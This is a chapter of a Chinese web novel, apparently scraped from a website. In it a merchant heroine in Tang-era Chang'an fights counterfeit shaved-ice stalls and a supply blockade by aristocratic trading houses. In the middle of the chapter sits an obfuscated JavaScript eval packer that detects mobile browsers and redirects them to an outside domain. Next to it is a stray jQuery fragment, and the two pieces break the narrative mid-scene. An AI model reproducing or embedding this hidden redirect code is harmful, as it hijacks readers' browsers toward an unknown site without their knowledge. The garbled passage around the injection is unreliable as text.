魏王到访西市的事，像一粒投入湖面的石子，悄无声息在市井间漾开了涟漪。
不过短短一天，整条西市街巷都在悄悄议论。那个从流民做起、接连造出引火木与花香皂的商户时晴川，竟然与魏王有旧，还亲自请魏王品尝了新出的花果冰沙。
有了这层关系加持，我的摊位热度再上一层楼。不少原本只是观望的客人，如今更是毫不犹豫地掏钱购买，仿佛能沾染上几分与权贵沾边的体面。
可热闹之下，潜藏的危机也随之而来。
冰沙爆火之后，不少商贩都红了眼。
相较于香皂需要反复熬煮、把控皂化火候，冰沙的制作流程看起来简单许多，不过是鲜果榨汁、加入糖蜜、再寻一处阴凉之地冻凝即可。
短短几天，西市各处便冒出了七八家仿冒冰沙摊位。
他们照搬我的名目，也打出“花果冰沙”的旗号，价格压得极低，三五文一碗，用的是酸涩的残次野果，甜度全靠廉价麦芽糖硬堆，口感粗糙，冰碴硌牙，入口又甜又涩，吃完口中还留着一股怪味。
不少不知情的路人贪了便宜，买回去一尝，当即怒声抱怨。
“这冰沙根本没法入口，哪里比得上晴川姑娘家的！”
“看着样子差不多，味道差了十万八千里，分明是仿冒骗人！”
抱怨声越传越广，一部分不明真相的客人，甚至将怨气算到了我的头上，私下议论是不是我家货品偷工减料，品质下滑。
阿诚性子急，每日收摊回来都愤愤不平：“晴川姐姐，他们分明是仿着咱们的样子骗人，咱们要不要去市署告他们？”
阿墨也跟着点头，眉头紧锁：“再这样下去，咱们的口碑迟早要被连累。”
我坐在工坊院落的树荫下，看着晾晒架上整齐的皂块，神色平静。
“市署只管违禁毒物、哄抬市价，不会管货品仿冒。”我缓缓开口，“这些人只是学了个皮毛，没有深井慢冻的工艺，没有精准的果浆配比，更没有把控口感的耐心，撑不了多久。”
可嘴上这么说，我心里清楚，仿品冲击只是表象，真正的麻烦，正在悄悄逼近。
黎扶苏此前提醒过的原料风波，终于来了。
这几日我派阿诚去采买，每次回来都脸色难看。
“晴川姐姐，最近城西几家果商，突然统一抬高了鲜果价格，比往日贵了近三成。还有做皂用的油脂，也一天一个价，再这么涨下去，咱们要么提价，要么只能缩减品质。”
我心中一沉。
果商与油行背后，大多有世家商行撑腰，如今价格骤然联动上涨，绝非市场自然波动，更像是有人刻意针对。
想来是我的冰沙与香皂动了世家香品商行的蛋糕，他们不便直接对我出手，便从源头掐断供给，用抬高原料成本的方式，逼迫我要么放弃利润，要么砸掉招牌。
“先别急着采买，我去一趟油行与果市看看。”
第二日清晨，我将摊位交给阿诚、阿墨照看，独自前往城西原料市集。
市集之上，果然处处透着诡异。
往日熟悉的几家油商，见到我之后纷纷避而远之，要么说油脂已经被预定，要么直接报出天价。鲜果摊位也是如此，品相完好的花果，尽数被提前收走，只剩下酸涩残次的尾货。
一圈走下来，我一无所获。
正要转身离开，一道熟悉的素衣身影，在市集拐角静静等着我。
黎扶苏看着我眉头微蹙的模样，早已猜到了几分。
“晴川，原料被卡了？”
我走上前，无奈点头：“想来是世家商行在背后出手，抬高价格，囤积优质原料。”
“他们不会明着与你冲突，只会用这种阴私手段。”黎扶苏目光沉静，缓缓道，“油脂与花果本就是长安刚需，世家商行掌控着大半货源，想要困你一时，轻而易举。”
“难道只能被动等着被拿捏？”
“自然不是。”黎扶苏抬手指向市集外侧的一条小路，“往南走三十里，有一处近郊山村，村中多山野果林，村民时常将鲜果挑到山下贩卖，不受城内商行管控。至于油脂，漕运码头有外地商船运来的海油，品质不差，价格也更稳定。”
这两处渠道，都绕开了长安城内的世家商行。
我心头豁然开朗，连忙道谢：
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17645099|206770||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“多谢黎公子提点，我这就安排人手去对接。”
“只是还有一事，你要早做打算。”黎扶苏目光郑重几分，“仿品冲击加上原料封锁，商行下一步，很可能会散布谣言，污蔑你的货品用料不洁，或是添加了不明之物，动摇客人的信任。”
谣言杀人，尤其是在女子洗护、入口冰食这类敏感货品上，一旦流言四起，再想挽回口碑，难如登天。
我攥紧了袖中手指，沉声道：“我会提前做好准备，稳固老客口碑，同时推出新品，拉开与仿品的差距。”
“稳妥起见，你可以借着韦府的订单，适当放出部分货品进入士族圈层。世家商行虽蛮横，却不敢轻易动士族都认可的东西。”黎扶苏顿了顿，轻声道，“必要时，魏王那边，也是可以借力的。”
我微微一怔。
借力魏王。
这是最直接的破局方式，可一旦开口求助，便等于主动将自己卷入皇子纷争的漩涡之中，往后再也无法独善其身。
黎扶苏似乎看穿了我的顾虑，没有逼迫，只是淡淡道：“我只是提醒，如何选择，看你自己。”
“我明白。”
与黎扶苏分开之后，我立刻赶回工坊，安排人手分两路行动。一路去往近郊山村对接鲜果，一路前往漕运码头采买油脂，彻底绕开城内商行的封锁。
同时，我开始着手打磨一款全新的香膏。
不同于香皂的清洁，这款香膏主打润肤淡香，用料更为精致，香气更为内敛高级，专供士族女眷。只要新品成功推出，便能彻底跳出市井小摊的竞争，用更高端的货品，筑起别人无法逾越的壁垒。
只是我心里清楚，这一次的原料风波，仅仅只是世家商行的试探。
接下来的路，只会越来越难走。
夜间的工坊院落，灯火摇曳。
我坐在窗前，望着远处长安城内隐约的灯火，忽然想起了那日魏王离去前的话语。
长安很大，前路很长。
可这前路之上，早已布满了暗流与荆棘。
而我，必须握紧手中的货品，步步为营，在这风雨之中，守住属于自己的方寸天地。